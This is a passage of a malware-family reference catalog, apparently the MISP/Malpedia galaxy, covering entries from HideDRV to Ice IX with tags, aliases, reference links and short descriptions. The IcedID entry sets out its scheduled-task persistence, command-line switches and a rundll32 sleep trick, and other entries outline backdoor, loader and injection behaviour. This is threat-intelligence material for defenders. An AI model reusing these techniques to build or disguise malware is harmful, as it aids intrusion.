<td><a href="https://twitter.com/JAMESWT_MHT/status/1264828072001495041">https://twitter.com/JAMESWT_MHT/status/1264828072001495041</a></td>
</tr>
<tr>
<td><a href="https://github.com/goliate/hidden-tear">https://github.com/goliate/hidden-tear</a></td>
</tr>
<tr>
<td><a href="https://www.slideshare.net/ChristopherDoman/open-source-malware-sharing-is-caring">https://www.slideshare.net/ChristopherDoman/open-source-malware-sharing-is-caring</a></td>
</tr>
</tbody>
</table>

**HideDRV**

The tag is: misp-galaxy:malpedia="HideDRV"

HideDRV is also known as:

**Table 3226. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hidedrv">https://malpedia.caad.fkie.fraunhofer.de/details/win.hidedrv</a></td>
</tr>
<tr>
<td><a href="https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html">https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-twilight">https://www.secureworks.com/research/threat-profiles/iron-twilight</a></td>
</tr>
</tbody>
</table>

1366
HIGHNOON

According to FireEye, HIGHNOON is a backdoor that may consist of multiple components. The components may include a loader, a DLL, and a rootkit. Both the loader and the DLL may be dropped together, but the rootkit may be embedded in the DLL. The HIGHNOON loader may be designed to run as a Windows service.

The tag is: `misp-galaxy:malpedia="HIGHNOON"`

HIGHNOON is also known as:

Table 3227. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.highnoon">https://malpedia.caad.fkie.fraunhofer.de/details/win.highnoon</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MrDanPerez/status/1159461995013378048">https://twitter.com/MrDanPerez/status/1159461995013378048</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt-41/rpt-apt41/">https://content.fireeye.com/apt-41/rpt-apt41/</a></td>
</tr>
</tbody>
</table>

HIGHNOON.BIN

The tag is: `misp-galaxy:malpedia="HIGHNOON.BIN"`

HIGHNOON.BIN is also known as:

Table 3228. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.highnoon_bin">https://malpedia.caad.fkie.fraunhofer.de/details/win.highnoon_bin</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt-41/rpt-apt41/">https://content.fireeye.com/apt-41/rpt-apt41/</a></td>
</tr>
</tbody>
</table>

HIGHNOTE

The tag is: `misp-galaxy:malpedia="HIGHNOTE"`

HIGHNOTE is also known as:

• ChyNode

Table 3229. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
HijackLoader

The tag is: *misp-galaxy:malpedia=*"HijackLoader"

HijackLoader is also known as:

Table 3230. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hijackloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.hijackloader</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/technical-analysis-hijackloader">https://www.zscaler.com/blogs/security-research/technical-analysis-hijackloader</a></td>
</tr>
<tr>
<td><a href="https://alpine-sec.medium.com/hijackloader-targets-hotels-a-technical-analysis-c2795fc4f3a3">https://alpine-sec.medium.com/hijackloader-targets-hotels-a-technical-analysis-c2795fc4f3a3</a></td>
</tr>
</tbody>
</table>

HiKit

The tag is: *misp-galaxy:malpedia=*"HiKit"

HiKit is also known as:

Table 3231. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hikit">https://malpedia.caad.fkie.fraunhofer.de/details/win.hikit</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0001/">https://attack.mitre.org/groups/G0001/</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/hidden-lynx-analysis/">https://www.recordedfuture.com/hidden-lynx-analysis/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-keystone">https://www.secureworks.com/research/threat-profiles/bronze-keystone</a></td>
</tr>
</tbody>
</table>

HILDACRYPT

A new ransomware family was discovered in August 2019. Called HILDACRYPT, it is named after the Netflix cartoon “Hilda” because the TV show’s YouTube trailer was included in the ransom note of the original version of the malware.

The tag is: *misp-galaxy:malpedia=*"HILDACRYPT"

HILDACRYPT is also known as:
**himan**

The tag is: `misp-galaxy:malpedia="himan"`

himan is also known as:

**Himera Loader**

The tag is: `misp-galaxy:malpedia="Himera Loader"`

Himera Loader is also known as:

**Hisoka**

The tag is: `misp-galaxy:malpedia="Hisoka"`

Hisoka is also known as:
Hive (Windows)

Hive is a strain of ransomware that was first discovered in June 2021. Hive was designed to be used by Ransomware-as-a-service providers, to enable novice cyber-criminals to launch ransomware attacks on healthcare providers, energy providers, charities, and retailers across the globe. In 2022 there was a switch from GoLang to Rust.

The tag is: misp-galaxy:malpedia="Hive (Windows)"

Hive (Windows) is also known as:
Hi-Zor RAT

The tag is: misp-galaxy:malpedia=“Hi-Zor RAT”

Hi-Zor RAT is also known as:

Table 3237. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hi_zor_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.hi_zor_rat</a></td>
</tr>
<tr>
<td><a href="https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat">https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat</a></td>
</tr>
</tbody>
</table>

HLUX

The tag is: misp-galaxy:malpedia=“HLUX”

HLUX is also known as:

Table 3238. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hlux">https://malpedia.caad.fkie.fraunhofer.de/details/win.hlux</a></td>
</tr>
</tbody>
</table>

Holcus Installer (Adware)

Adware, tied to eGobbler and Nephos7 campaigns,

The tag is: misp-galaxy:malpedia=“Holcus Installer (Adware)”

Holcus Installer (Adware) is also known as:

Table 3239. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.holcus">https://malpedia.caad.fkie.fraunhofer.de/details/win.holcus</a></td>
</tr>
<tr>
<td><a href="https://blog.confiant.com/malvertising-made-in-china-f5081521b3f0">https://blog.confiant.com/malvertising-made-in-china-f5081521b3f0</a></td>
</tr>
</tbody>
</table>

HOLERUN

The tag is: misp-galaxy:malpedia=“HOLERUN”

HOLERUN is also known as:

Table 3240. Table References
homefry

a 64-bit Windows password dumper/cracker that has previously been used in conjunction with AIRBREAK and BADFLICK backdoors. Some strings are obfuscated with XOR x56. The malware accepts up to two arguments at the command line: one to display cleartext credentials for each login session, and a second to display cleartext credentials, NTLM hashes, and malware version for each login session.

The tag is: `misp-galaxy:malpedia="homefry"

homefry is also known as:

Table 3241. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.homefry">https://malpedia.caad.fkie.fraunhofer.de/details/win.homefry</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-mohawk">https://www.secureworks.com/research/threat-profiles/bronze-mohawk</a></td>
</tr>
</tbody>
</table>

HookInjEx

The tag is: `misp-galaxy:malpedia="HookInjEx"

HookInjEx is also known as:

Table 3242. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hookinjex">https://malpedia.caad.fkie.fraunhofer.de/details/win.hookinjex</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/rampant-kitten-an-iranian-espionage-campaign/">https://research.checkpoint.com/2020/rampant-kitten-an-iranian-espionage-campaign/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/CDA/status/1014144988454772736">https://twitter.com/CDA/status/1014144988454772736</a></td>
</tr>
</tbody>
</table>

HOPLIGHT

The tag is: `misp-galaxy:malpedia="HOPLIGHT"

HOPLIGHT is also known as:

- HANGMAN
Hopscotch

Hopscotch is part of the Regin framework.

The tag is: misp-galaxy:malpedia="Hopscotch"

Hopscotch is also known as:

HorusEyes RAT

Remote Acess Tool Written in VB.NET.

The tag is: misp-galaxy:malpedia="HorusEyes RAT"

HorusEyes RAT is also known as:
Horus Eyes RAT

Warsaw trojan is a new banking trojan based on the Hours Eyes RAT core engine.

The tag is: `misp-galaxy:malpedia="Horus Eyes RAT"`

Horus Eyes RAT is also known as:

Table 3246. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.horus_eyes_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.horus_eyes_rat</a></td>
</tr>
</tbody>
</table>

HOTCROISSANT

The tag is: `misp-galaxy:malpedia="HOTCROISSANT"`

HOTCROISSANT is also known as:

Table 3247. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hotcroissant">https://malpedia.caad.fkie.fraunhofer.de/details/win.hotcroissant</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/ar20-045d">https://www.us-cert.gov/ncas/analysis-reports/ar20-045d</a></td>
</tr>
</tbody>
</table>

HOTWAX

HOTWAX is a module that upon starting imports all necessary system API functions, and searches for a .CHM file. HOTWAX decrypts a payload using the Spritz algorithm with a hard-coded key and then searches the target process and attempts to inject the decrypted payload module from the CHM file into the address space of the target process.

The tag is: `misp-galaxy:malpedia="HOTWAX"`

HOTWAX is also known as:

Table 3248. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hotwax">https://malpedia.caad.fkie.fraunhofer.de/details/win.hotwax</a></td>
</tr>
</tbody>
</table>
Houdini

Houdini is a VBS-based RAT dating back to 2013. Past in the days, it used to be wrapped in an .exe but started being spamvertized or downloaded by other malware directly as .vbs in 2018. In 2019, WSHRAT appeared, a Javascript-based version of Houdini, recoded by the name of Kognito.

The tag is: *misp-galaxy:malpedia="Houdini"*

Houdini is also known as:

- Hworm
- Jenxcus
- Kognito
- Njw0rm
- WSHRAT
- dinihou
- dunihi

Table 3249. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.houdini">https://malpedia.caad.fkie.fraunhofer.de/details/win.houdini</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-houdinis-magic-reappearance/">https://unit42.paloaltonetworks.com/unit42-houdinis-magic-reappearance/</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/ta2541-apt-rats-aviation/178422/">https://threatpost.com/ta2541-apt-rats-aviation/178422/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html">https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/forums/diary/Houdini+is+Back+Delivered+Through+a+JavaScript+Dropper/28746/">https://isc.sans.edu/forums/diary/Houdini+is+Back+Delivered+Through+a+JavaScript+Dropper/28746/</a></td>
</tr>
</tbody>
</table>
HtBot

The tag is: misp-galaxy:malpedia="HtBot"

HtBot is also known as:

Table 3250. Table References

Links

http://malpedia.caad.fkie.fraunhofer.de/details/win.htbot

htpRAT

The tag is: misp-galaxy:malpedia="htpRAT"
httpRAT is also known as:

Table 3251. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.httprat">https://malpedia.caad.fkie.fraunhofer.de/details/win.httprat</a></td>
</tr>
<tr>
<td><a href="https://www.riskiq.com/blog/labs/httprat/">https://www.riskiq.com/blog/labs/httprat/</a></td>
</tr>
</tbody>
</table>

HTran

The tag is: misp-galaxy:malpedia="HTran"

HTran is also known as:

- HUC Packet Transmit Tool

Table 3252. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.htran">https://malpedia.caad.fkie.fraunhofer.de/details/win.htran</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers">https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/before-atlas">https://www.secureworks.com/research/threat-profiles/before-atlas</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/htran">https://www.secureworks.com/research/htran</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/">https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/">https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/</a></td>
</tr>
</tbody>
</table>

HttpBrowser

The tag is: misp-galaxy:malpedia="HttpBrowser"

HttpBrowser is also known as:

- HttpDump
httpdropper

The tag is: \textit{misp-galaxy:malpedia="httpdropper"}

httpdropper is also known as:

- httpdr0pper

HTTPSnoop

Cisco Talos states that HTTPSnoop is a simple, yet effective, backdoor that consists of novel techniques to interface with Windows HTTP kernel drivers and devices to listen to incoming requests for specific HTTP(S) URLs and execute that content on the infected endpoint.

The tag is: \textit{misp-galaxy:malpedia="HTTPSnoop"}

HTTPSnoop is also known as:
HTTP(S) uploader

The HTTP(S) uploader is a Lazarus tool responsible for data exfiltration, by using the HTTP or HTTPS protocols.

It accepts up to 10 command line parameters: a 29-byte decryption key, a C&C for data exfiltration, the name of a local RAR split volume, the name of the multivolume archive on the server side, the size of a RAR split (max 200,000 kB), the starting index of a split, the ending index of a split, and the switch -p with a proxy IP address and port.

The tag is: `misp-galaxy:malpedia="HTTP(S) uploader"`

HTTP(S) uploader is also known as:

Table 3256. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.httpsuploader">https://malpedia.caad.fkie.fraunhofer.de/details/win.httpsuploader</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/">https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-threatneedle/100803/">https://securelist.com/lazarus-threatneedle/100803/</a></td>
</tr>
</tbody>
</table>

http_troy

The tag is: `misp-galaxy:malpedia="http_troy"`

http_troy is also known as:

Table 3257. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

HUI Loader

A loader that has been used by multiple threat actor groups since 2015.

The tag is: `misp-galaxy:malpedia="HUI Loader"`

HUI Loader is also known as:

Table 3258. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Hunter Stealer

The tag is: `misp-galaxy:malpedia="Hunter Stealer"`

Hunter Stealer is also known as:

Table 3259. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hunter">https://malpedia.caad.fkie.fraunhofer.de/details/win.hunter</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/3xp0rtblog/status/1324800226381758471">https://twitter.com/3xp0rtblog/status/1324800226381758471</a></td>
</tr>
</tbody>
</table>

Hupigon

The tag is: `misp-galaxy:malpedia="Hupigon"`

Hupigon is also known as:

Table 3260. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hupigon">https://malpedia.caad.fkie.fraunhofer.de/details/win.hupigon</a></td>
</tr>
</tbody>
</table>

HuskLoader

The tag is: `misp-galaxy:malpedia="HuskLoader"`

HuskLoader is also known as:

Table 3261. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.huskloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.huskloader</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/SethKingHi/status/1612377098777133057">https://twitter.com/SethKingHi/status/1612377098777133057</a></td>
</tr>
</tbody>
</table>
Hussar

The tag is: misp-galaxy:malpedia="Hussar"

Hussar is also known as:

Table 3262. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.hussar

HxDef

The tag is: misp-galaxy:malpedia="HxDef"

HxDef is also known as:

- HacDef
- HackDef
- HackerDefender

Table 3263. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.hxdef

HyperBro

HyperBro is a RAT that has been observed to target primarily within the gambling industries, though it has been spotted in other places as well. The malware typically consists of 3 or more components: a) a genuine loader typically with a signed certification b) a malicious DLL loader loaded from the former component via DLL hijacking c) an encrypted and compressed blob that decrypts to a PE-based payload which has its C2 information hardcoded within.

The tag is: misp-galaxy:malpedia="HyperBro"

HyperBro is also known as:

Table 3264. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro
https://blog.sekoia.io/luckymouse-uses-a-backdoored-electron-app-to-target-macos/
The tag is: misp-galaxy:malpedia="HYPERSCRAPE"

HYPERSCRAPE is also known as:

Table 3265. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperscrape">https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperscrape</a></td>
</tr>
<tr>
<td><a href="https://blog.google/threat-analysis-group/new-iranian/apt-data-extraction-tool/">https://blog.google/threat-analysis-group/new-iranian/apt-data-extraction-tool/</a></td>
</tr>
</tbody>
</table>

HyperSSL (Windows)

Sideloader used by EmissaryPanda

The tag is: misp-galaxy:malpedia="HyperSSL (Windows)"

HyperSSL (Windows) is also known as:

• FOCUSFJORD
• Soldier
• Sysupdate

Table 3266. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperssl">https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperssl</a></td>
</tr>
<tr>
<td><a href="https://norfolkinfosec.com/emissary-panda-dll-backdoor/">https://norfolkinfosec.com/emissary-panda-dll-backdoor/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/chinese-espionage-tactics">https://www.mandiant.com/resources/blog/chinese-espionage-tactics</a></td>
</tr>
</tbody>
</table>
### HZ RAT

The tag is: `misp-galaxy:malpedia="HZ RAT"`

HZ RAT is also known as:

#### Table 3267. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hzrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.hzrat</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@DCSO_CyTec/hz-rat-goes-china-506854c5f2e2">https://medium.com/@DCSO_CyTec/hz-rat-goes-china-506854c5f2e2</a></td>
</tr>
</tbody>
</table>

### Icarus

Icarus is a modular stealer software, written in .NET. One module is the open source r77 rootkit.

The tag is: `misp-galaxy:malpedia="Icarus"`

Icarus is also known as:

#### Table 3268. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.icarus">https://malpedia.caad.fkie.fraunhofer.de/details/win.icarus</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/1566685309093511170">https://twitter.com/struppigel/status/1566685309093511170</a></td>
</tr>
</tbody>
</table>
IcedID

Analysis Observations:

- It sets up persistence by creating a Scheduled Task with the following characteristics:
  - Name: Update
  - Trigger: At Log on
  - Action: %LocalAppData%\Example\waroupada.exe /i
  - Conditions: Stop if the computer ceases to be idle.
- The sub-directory within %LocalAppData%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.
- The filename remained static during analysis.
- The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it
- If “/i” is not passed as an argument, it sets up persistence and waits for reboot.
- If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.
- Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so: rundll32.exe kernel32, Sleep -s
- Setup a local listener to proxy traffic on 127.0.0.1:50000

The tag is: `misp-galaxy:malpedia=“IcedID”`

IcedID is also known as:

- BokBot
- IceID

**Table 3269. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid">https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884">https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/ta551-shathak-icedid/">https://unit42.paloaltonetworks.com/ta551-shathak-icedid/</a></td>
</tr>
<tr>
<td><a href="https://team-cymru.com/blog/2021/05/19/tracking-bokbot-infrastructure/">https://team-cymru.com/blog/2021/05/19/tracking-bokbot-infrastructure/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html">https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/05/12/conti-ransomware/">https://thedfirreport.com/2021/05/12/conti-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://eln0ty.github.io/malware%20analysis/IcedID/">https://eln0ty.github.io/malware%20analysis/IcedID/</a></td>
</tr>
<tr>
<td><a href="https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/">https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/</a></td>
</tr>
</tbody>
</table>

https://www.fortinet.com/blog/threat-research/spoofed-invoice-drops-iced-id


https://blog.unpac.me/2023/05/03/unpacme-weekly-new-version-of-icedid-loader


https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/


https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7

https://blog.talosintelligence.com/2020/07/valak-emerges.html


https://blog.group-ib.com/prometheus-tds

https://www.team-cymru.com/post/inside-the-icedid-backconnect-protocol


https://medium.com/@dawid.golak/icedid-aka-bokbot-analysis-with-ghidra-560e3eccb76


https://zero2auto.com/2020/06/22/unpacking-visual-basic-packers/


https://gist.github.com/psrok1/e6bf5851d674edda03a201e7f24a5e6b

https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/

https://intel471.com/blog/conti-emotet-ransomwareconti-leaks

https://www.elastic.co/security-labs/icedids-network-infrastructure-is-alive-and-well


https://www.crowdstrike.com/blog/digging-into-bokbots-core-module/

<table>
<thead>
<tr>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html">https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself</a></td>
</tr>
<tr>
<td><a href="https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware">https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/">https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=YEqLIR6hfOM">https://www.youtube.com/watch?v=YEqLIR6hfOM</a></td>
</tr>
<tr>
<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf">https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.ironnet.com/blog/ransomware-graphic-blog">https://www.ironnet.com/blog/ransomware-graphic-blog</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/embee_research/status/1592067841154756610?s=20&amp;t=hEALPAWr1Lt9pXcVpxjRQ">https://twitter.com/embee_research/status/1592067841154756610?s=20&amp;t=hEALPAWr1Lt9pXcVpxjRQ</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=7Dk7NkIbVqY">https://www.youtube.com/watch?v=7Dk7NkIbVqY</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f">https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f</a></td>
</tr>
<tr>
<td><a href="https://threatresearch.ext.hp.com/detecting-ta551-domains/">https://threatresearch.ext.hp.com/detecting-ta551-domains/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/felixw3000/status/1521816045769662468">https://twitter.com/felixw3000/status/1521816045769662468</a></td>
</tr>
<tr>
<td><a href="https://github.com/telekom-security/icedid_analysis">https://github.com/telekom-security/icedid_analysis</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=wObF9n2UIAM">https://www.youtube.com/watch?v=wObF9n2UIAM</a></td>
</tr>
<tr>
<td><a href="https://www.nri-secure.co.jp/blog/explaining-the-tendency-of-malware-icedid">https://www.nri-secure.co.jp/blog/explaining-the-tendency-of-malware-icedid</a></td>
</tr>
<tr>
<td><a href="https://aaqeel01.wordpress.com/2021/04/09/icedid-analysis/">https://aaqeel01.wordpress.com/2021/04/09/icedid-analysis/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/29740">https://isc.sans.edu/diary/29740</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware">https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware</a></td>
</tr>
</tbody>
</table>
IcedID Downloader

The tag is: misp-galaxy:malpedia="IcedID Downloader"

IcedID Downloader is also known as:

Table 3270. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader

Icefog

The tag is: `misp-galaxy:malpedia="Icefog"`

Icefog is also known as:

- Fucobha

Table 3271. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog">https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf</a></td>
</tr>
<tr>
<td><a href="https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt">https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf</a></td>
</tr>
<tr>
<td><a href="http://www.kz-cert.kz/page/502">http://www.kz-cert.kz/page/502</a></td>
</tr>
</tbody>
</table>

win.iceXloader

IceXLoader is a commercial malware used to download and deploy additional malware on infected machines. The latest version is written in Nim, a relatively new language utilized by threat actors the past two years, most notably by the NimzaLoader variant of BazarLoader used by the TrickBot group.

The v1 was written in AutoIT.

The tag is: `misp-galaxy:malpedia="win.iceXloader"`

win.iceXloader is also known as:

Table 3272. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.iceXloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.iceXloader</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/new-iceXloader-3-0-developers-warm-up-to-nim">https://www.fortinet.com/blog/threat-research/new-iceXloader-3-0-developers-warm-up-to-nim</a></td>
</tr>
</tbody>
</table>
Ice IX

